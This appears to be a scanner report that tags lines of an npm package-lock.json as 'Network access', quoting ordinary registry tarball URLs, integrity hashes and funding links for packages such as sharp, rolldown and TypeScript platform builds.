"resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.35.2.tgz", - Network accessline 1209
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1210
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1211
"url": "https://opencollective.com/libvips" - Network accessline 1217
"node_modules/@img/sharp-linuxmusl-x64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.35.2.tgz", - Network accessline 1218
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.35.2.tgz", "integrity": "sha512-YBqMMcjDi4QGYiSn4vNOYBhmlC4z5AXqkOUUqI2e0AFA4urNv4ESgOgwNl3K+4etQhha0twXlzeF20bbULm9Yg - Network accessline 1219
"resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.35.2.tgz", - Network accessline 1235
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1236
"funding": { "url": "https://opencollective.com/libvips" }, - Network accessline 1237
"url": "https://opencollective.com/libvips" - Network accessline 1243
"node_modules/@img/sharp-wasm32": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.35.2.tgz", - Network accessline 1244
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.35.2.tgz", "integrity": "sha512-Mrv4JQNYVQ94xH+jzZ9r+gowleN8mv2FTgKT+PI6bx5C0G8TdNYndu161pg2i7uoBwxy2ImPMHrJOM2LZef7Bw==", - Network accessline 1245
"resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.35.2.tgz", - Network accessline 1255
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1256
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 1257
"url": "https://opencollective.com/libvips" - Network accessline 1260
"node_modules/@img/sharp-webcontainers-wasm32": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-webcontainers-wasm32/-/sharp-webcontainers-wasm32-0.35.2.tgz", - Network accessline 1261
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-webcontainers-wasm32/-/sharp-webcontainers-wasm32-0.35.2.tgz", "integrity": "sha512-QNV27pxs9wpApEiCfvHM1RDoP1w1+2KrUWWDPEhEwg+latvOrfuhWrHWZKwdSFwU6jh3myjw - Network accessline 1262
"resolved": "https://registry.npmjs.org/@img/sharp-webcontainers-wasm32/-/sharp-webcontainers-wasm32-0.35.2.tgz", - Network accessline 1275
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1276
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 1277
"url": "https://opencollective.com/libvips" - Network accessline 1280
"node_modules/@img/sharp-win32-arm64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.35.2.tgz", - Network accessline 1281
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.35.2.tgz", "integrity": "sha512-BiVRYc/t6/Vl3e1hBx0hugG4oN9Pydf4fgMSpxTQJmwGUg/YoXTWHiFeRymHfCZzifxu4F4rpk/I67D0LQ20wQ==", - Network accessline 1282
"resolved": "https://registry.npmjs.org/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.35.2.tgz", - Network accessline 1295
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1296
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 1297
"url": "https://opencollective.com/libvips" - Network accessline 1300
"node_modules/@img/sharp-win32-ia32": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.35.2.tgz", - Network accessline 1301
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.35.2.tgz", "integrity": "sha512-YYEhx9PImCC7T0tI8JDMi4DB9LwLCXCU5OWNYEXAxh5Q1ShKkyC6byxzoBJ3gEFDnH2lQckWuDe70G7mB2XJog==", - Network accessline 1302
"resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.35.2.tgz", - Network accessline 1315
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1316
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 1317
"url": "https://opencollective.com/libvips" - Network accessline 1320
"node_modules/@img/sharp-win32-x64": { "version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.35.2.tgz", - Network accessline 1321
"version": "0.35.2", "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.35.2.tgz", "integrity": "sha512-imoOyBcoM/iiUr4J6VPpCNjPnjvP/Gks95898yB8YqoGGYmHYbOyCuNv9FMhFgtaiHFGbHW8bxKqRV6VjtXThQ==", - Network accessline 1322
"resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.35.2.tgz", - Network accessline 1335
}, "funding": { "url": "https://opencollective.com/libvips" - Network accessline 1336
"funding": { "url": "https://opencollective.com/libvips" } - Network accessline 1337
"url": "https://opencollective.com/libvips" - Network accessline 1340
"node_modules/@jridgewell/resolve-uri": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 1341
"version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - Network accessline 1342
"resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 1350
"node_modules/@jridgewell/sourcemap-codec": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", - Network accessline 1351
"version": "1.6.0", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==" - Network accessline 1352
"resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", - Network accessline 1357
"node_modules/@jridgewell/trace-mapping": { "version": "0.3.9", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", - Network accessline 1358
"version": "0.3.9", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", - Network accessline 1359
"resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", - Network accessline 1368
"node_modules/@oxc-project/types": { "version": "0.152.0", "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.152.0.tgz", - Network accessline 1369
"version": "0.152.0", "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.152.0.tgz", "integrity": "sha512-oM/5rLBm2tPkg0iBgkH/FOeR3PCDpY19GTgAZjMFM8h9WI9VW7cLgzp6nwtarYKmovavIQZ+Fe/RKX/8C8O/Rw==", - Network accessline 1370
"resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.152.0.tgz", - Network accessline 1373
"license": "MIT", "funding": { "url": "https://github.com/sponsors/oxc-project" - Network accessline 1374
"funding": { "url": "https://github.com/sponsors/oxc-project" } - Network accessline 1375
"url": "https://github.com/sponsors/oxc-project" - Network accessline 1378
"node_modules/@poppinss/colors": { "version": "4.1.6", "resolved": "https://registry.npmjs.org/@poppinss/colors/-/colors-4.1.6.tgz", - Network accessline 1379
"version": "4.1.6", "resolved": "https://registry.npmjs.org/@poppinss/colors/-/colors-4.1.6.tgz", "integrity": "sha512-H9xkIdFswbS8n1d6vmRd8+c10t2Qe+rZITbbDHHkQixH5+2x1FDGmi/0K+WgWiqQFKPSlIYB7jlH6Kpfn6Fleg==", - Network accessline 1380
"resolved": "https://registry.npmjs.org/@poppinss/colors/-/colors-4.1.6.tgz", - Network accessline 1388
"node_modules/@poppinss/dumper": { "version": "0.6.5", "resolved": "https://registry.npmjs.org/@poppinss/dumper/-/dumper-0.6.5.tgz", - Network accessline 1389
"version": "0.6.5", "resolved": "https://registry.npmjs.org/@poppinss/dumper/-/dumper-0.6.5.tgz", "integrity": "sha512-NBdYIb90J7LfOI32dOewKI1r7wnkiH6m920puQ3qHUeZkxNkQiFnXVWoE6YtFSv6QOiPPf7ys6i+HWWecDz7sw==", - Network accessline 1390
"resolved": "https://registry.npmjs.org/@poppinss/dumper/-/dumper-0.6.5.tgz", - Network accessline 1400
"node_modules/@poppinss/exception": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/@poppinss/exception/-/exception-1.2.3.tgz", - Network accessline 1401
"version": "1.2.3", "resolved": "https://registry.npmjs.org/@poppinss/exception/-/exception-1.2.3.tgz", "integrity": "sha512-dCED+QRChTVatE9ibtoaxc+WkdzOSjYTKi/+uacHWIsfodVfpsueo3+DKpgU5Px8qXjgmXkSvhXvSCz3fnP9lw==", - Network accessline 1402
"resolved": "https://registry.npmjs.org/@poppinss/exception/-/exception-1.2.3.tgz", - Network accessline 1407
"node_modules/@rolldown/binding-android-arm-eabi": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm-eabi/-/binding-android-arm-eabi-1.2.12.tgz", - Network accessline 1408
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm-eabi/-/binding-android-arm-eabi-1.2.12.tgz", "integrity": "sha512-dB/a1214qKfHMXCpgqR4OZT+jS4kTyEXbQGJPqzobt5EwH5rX080pxE37alt3RzvR1bf1Yz - Network accessline 1409
"resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm-eabi/-/binding-android-arm-eabi-1.2.12.tgz", - Network accessline 1424
"node_modules/@rolldown/binding-android-arm64": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.2.12.tgz", - Network accessline 1425
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.2.12.tgz", "integrity": "sha512-7KHFgQ5VJxIHcLlrwrc3Xbds7oTNQT7Pgi9gQCJKrd2VGab/UksIOYp6VD8MzCstGxOKMgNamPwUC - Network accessline 1426
"resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.2.12.tgz", - Network accessline 1441
"node_modules/@rolldown/binding-darwin-arm64": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.2.12.tgz", - Network accessline 1442
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.2.12.tgz", "integrity": "sha512-3YIhqHD96nA5SaYNRBR16HnGv4oavZvXfD/ayHM+oYZ0WD/8lBAtf6zQua4kEyAvpqrluKXl0lnOBoi - Network accessline 1443
"resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.2.12.tgz", - Network accessline 1458
"node_modules/@rolldown/binding-darwin-x64": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.2.12.tgz", - Network accessline 1459
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.2.12.tgz", "integrity": "sha512-UuuJ35MFw4gmFOrE9pEqIV+K3syIKveph+Qc1/ljHZVdoDW4pz/JHR/eMVom+TZGl/5OOvGJOWaOCVt3Zfq - Network accessline 1460
"resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.2.12.tgz", - Network accessline 1475
"node_modules/@rolldown/binding-freebsd-x64": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.2.12.tgz", - Network accessline 1476
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.2.12.tgz", "integrity": "sha512-uMvssit0a4W+/7D8CbHUvG719mH3R2jwXAlh/XcPvuHTE0g++LymF88DCGNX0HM2rBOn0xrzgXktIB6fL - Network accessline 1477
"resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.2.12.tgz", - Network accessline 1492
"node_modules/@rolldown/binding-linux-arm-gnueabihf": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.2.12.tgz", - Network accessline 1493
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.2.12.tgz", "integrity": "sha512-XcFu0R0xWnwzSf4IQgFH1rJIckPN1pLy2R+4r9IDB7Yfu/ys9cVqfa4pBrMHj7a3g - Network accessline 1494
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.2.12.tgz", - Network accessline 1509
"node_modules/@rolldown/binding-linux-arm64-gnu": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.2.12.tgz", - Network accessline 1510
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.2.12.tgz", "integrity": "sha512-260UrKgn8tz39ak+SMDOirKzr7V04M9dWPw5llW00SwBivCZoWcRBKV1d8cXnRkUmSZA3BdiU - Network accessline 1511
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.2.12.tgz", - Network accessline 1529
"node_modules/@rolldown/binding-linux-arm64-musl": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.2.12.tgz", - Network accessline 1530
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.2.12.tgz", "integrity": "sha512-5YK1I9SqDkbPgc1IA8BgDl34suqUS2q0KWnBrirm0E51YjOs6eo6dV6jbQfNE/argHRSvd0 - Network accessline 1531
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.2.12.tgz", - Network accessline 1549
"node_modules/@rolldown/binding-linux-ppc64-gnu": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.2.12.tgz", - Network accessline 1550
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.2.12.tgz", "integrity": "sha512-Rkcrmp7eFRg74yL5fXEU91JEWbdEPLevWwGtXpmhbjlD1StScbWTmO94Bhly+Mo+ketKYkdmM - Network accessline 1551
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.2.12.tgz", - Network accessline 1569
"node_modules/@rolldown/binding-linux-s390x-gnu": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.2.12.tgz", - Network accessline 1570
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.2.12.tgz", "integrity": "sha512-qvK4DuAsQc2BSjlx+Xr+IzOIvvxbGZqxFwdWfG6F518Erj0GGISyQbJ6pIappnOxlNPzNHvo/ - Network accessline 1571
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.2.12.tgz", - Network accessline 1589
"node_modules/@rolldown/binding-linux-x64-gnu": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.2.12.tgz", - Network accessline 1590
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.2.12.tgz", "integrity": "sha512-Q9uLBO53Xd4QIq1WOycVQyPP1O4HhraEV2qqb3uTrnVw6QZih9duY4vNXOivL1xoUS1/z+W8eF4NM - Network accessline 1591
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.2.12.tgz", - Network accessline 1609
"node_modules/@rolldown/binding-linux-x64-musl": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.2.12.tgz", - Network accessline 1610
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.2.12.tgz", "integrity": "sha512-3IBxWFMjbOZskDPKv8Lf9BCnahlKuHthWkYnyIxOH/QcJrFcS4EmcenthApkwr/5+nEqZlLzeYb - Network accessline 1611
"resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.2.12.tgz", - Network accessline 1629
"node_modules/@rolldown/binding-openharmony-arm64": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.2.12.tgz", - Network accessline 1630
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.2.12.tgz", "integrity": "sha512-xtX61xg4LKPkPWilZU1ynKClz5Gj4bf74LML4r3eVLWumKnGjoEr1OSHQhMdbBDoYTi+y - Network accessline 1631
"resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.2.12.tgz", - Network accessline 1646
"node_modules/@rolldown/binding-win32-arm64-msvc": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.2.12.tgz", - Network accessline 1647
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.2.12.tgz", "integrity": "sha512-At7fPB6PCaIjzgIhEZFxuT+BBFqiQibJDT4d3PhiR3f4E7bbMZF4aKblbFfEM3sETRDd1Yi - Network accessline 1648
"resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.2.12.tgz", - Network accessline 1663
"node_modules/@rolldown/binding-win32-x64-msvc": { "version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.2.12.tgz", - Network accessline 1664
"version": "1.2.12", "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.2.12.tgz", "integrity": "sha512-WIw2haVKwjuYdXkHaoC0mF8Le71TuCBxjrdKqLbJGctbBABj+ClfmNvtbOnzpq3RokNo5+V1qht - Network accessline 1665
"resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.2.12.tgz", - Network accessline 1680
"node_modules/@rolldown/pluginutils": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", - Network accessline 1681
"version": "1.0.1", "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", - Network accessline 1682
"resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", - Network accessline 1687
"node_modules/@sindresorhus/is": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-7.2.0.tgz", - Network accessline 1688
"version": "7.2.0", "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-7.2.0.tgz", "integrity": "sha512-P1Cz1dWaFfR4IR+U13mqqiGsLFf1KbayybWwdd2vfctdV6hDpUkgCY0nKOLLTMSoRd/jJNjtbqzf13K8DCCXQw==", - Network accessline 1689
"resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-7.2.0.tgz", - Network accessline 1695
}, "funding": { "url": "https://github.com/sindresorhus/is?sponsor=1" - Network accessline 1696
"funding": { "url": "https://github.com/sindresorhus/is?sponsor=1" } - Network accessline 1697
"url": "https://github.com/sindresorhus/is?sponsor=1" - Network accessline 1700
"node_modules/@speed-highlight/core": { "version": "1.2.24", "resolved": "https://registry.npmjs.org/@speed-highlight/core/-/core-1.2.24.tgz", - Network accessline 1701
"version": "1.2.24", "resolved": "https://registry.npmjs.org/@speed-highlight/core/-/core-1.2.24.tgz", "integrity": "sha512-qeW2e1l78afw8VhRPfPQ1Gjj+KU5XFQ/OFV5ti6eTa9bruO7mJyZtA4vw0ofqmA3tKCkROE9xLk3VZoeRc98nw==", - Network accessline 1702
"resolved": "https://registry.npmjs.org/@speed-highlight/core/-/core-1.2.24.tgz", - Network accessline 1707
"node_modules/@standard-schema/spec": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - Network accessline 1708
"version": "1.1.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - Network accessline 1709
"resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - Network accessline 1714
"node_modules/@types/chai": { "version": "5.2.3", "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - Network accessline 1715
"version": "5.2.3", "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", - Network accessline 1716
"resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - Network accessline 1725
"node_modules/@types/deep-eql": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - Network accessline 1726
"version": "4.0.2", "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", - Network accessline 1727
"resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - Network accessline 1732
"node_modules/@types/estree": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", - Network accessline 1733
"version": "1.0.9", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", - Network accessline 1734
"resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", - Network accessline 1739
"node_modules/@typescript/typescript-aix-ppc64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-aix-ppc64/-/typescript-aix-ppc64-7.0.2.tgz", - Network accessline 1740
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-aix-ppc64/-/typescript-aix-ppc64-7.0.2.tgz", "integrity": "sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKi - Network accessline 1741
"resolved": "https://registry.npmjs.org/@typescript/typescript-aix-ppc64/-/typescript-aix-ppc64-7.0.2.tgz", - Network accessline 1756
"node_modules/@typescript/typescript-darwin-arm64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-arm64/-/typescript-darwin-arm64-7.0.2.tgz", - Network accessline 1757
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-arm64/-/typescript-darwin-arm64-7.0.2.tgz", "integrity": "sha512-gowzar9MwS/aRWp6f3a4KUqzRjAZjOsmGNCM6LcTgXum+dBfgsBVMN+AgvOCCbguXyick6LJh - Network accessline 1758
"resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-arm64/-/typescript-darwin-arm64-7.0.2.tgz", - Network accessline 1773
"node_modules/@typescript/typescript-darwin-x64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-x64/-/typescript-darwin-x64-7.0.2.tgz", - Network accessline 1774
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-x64/-/typescript-darwin-x64-7.0.2.tgz", "integrity": "sha512-SZ9xZInqApNlNGc9s0W1VSsktYSOe9cFqNOIqmN1Gs8SmkjKZYFt017G4VwPxASInODuAdbTW7sXi - Network accessline 1775
"resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-x64/-/typescript-darwin-x64-7.0.2.tgz", - Network accessline 1790
"node_modules/@typescript/typescript-freebsd-arm64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-arm64/-/typescript-freebsd-arm64-7.0.2.tgz", - Network accessline 1791
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-arm64/-/typescript-freebsd-arm64-7.0.2.tgz", "integrity": "sha512-W5NH4y/J0plIIS5b2xvTEkU7JFxyqdMAOgf+Ilhl0vHQXKO5dZoxd+C/jEtq56c4F3wk71R - Network accessline 1792
"resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-arm64/-/typescript-freebsd-arm64-7.0.2.tgz", - Network accessline 1807
"node_modules/@typescript/typescript-freebsd-x64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-x64/-/typescript-freebsd-x64-7.0.2.tgz", - Network accessline 1808
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-x64/-/typescript-freebsd-x64-7.0.2.tgz", "integrity": "sha512-UMGDx5sTpzNw3WiPebH7l90IWfJggEd+egHt/q6p7/Cm3zqoV7VxkGXt+3DxPIw8CcmvAB0j3sV - Network accessline 1809
"resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-x64/-/typescript-freebsd-x64-7.0.2.tgz", - Network accessline 1824
"node_modules/@typescript/typescript-linux-arm": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm/-/typescript-linux-arm-7.0.2.tgz", - Network accessline 1825
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm/-/typescript-linux-arm-7.0.2.tgz", "integrity": "sha512-gffT3xPz9sR7j/YJExkyPntrI0P2EP9XbOyWzth2/Gs0RstK+90RBcO0ncXoXy/beYll1SXw846Nf2z - Network accessline 1826
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm/-/typescript-linux-arm-7.0.2.tgz", - Network accessline 1841
"node_modules/@typescript/typescript-linux-arm64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm64/-/typescript-linux-arm64-7.0.2.tgz", - Network accessline 1842
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm64/-/typescript-linux-arm64-7.0.2.tgz", "integrity": "sha512-Qh4eU4/y3yDjnfjjyPYihMj5/ODIlmt+Bzu17OI+fiSRDW57QmU5SiN63exPRNJPKUzcc1INa1N - Network accessline 1843
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm64/-/typescript-linux-arm64-7.0.2.tgz", - Network accessline 1858
"node_modules/@typescript/typescript-linux-loong64": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-loong64/-/typescript-linux-loong64-7.0.2.tgz", - Network accessline 1859
"version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-loong64/-/typescript-linux-loong64-7.0.2.tgz", "integrity": "sha512-uEHck9i8hoAzXPiYRib1O7miOnz23SxIeVl6F4LXox+qov1K35jHcEW6VHKvZI+pyvl7fZE - Network accessline 1860
"resolved": "https://registry.npmjs.org/@typescript/typescript-linux-loong64/-/typescript-linux-loong64-7.0.2.tgz", - Network accessline 1875
"node_modules/@typescript/typescript-linux-mips64el": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-mips64el/-/typescript-linux-mips64el-7.0.2.tgz", - Network accessline 1876
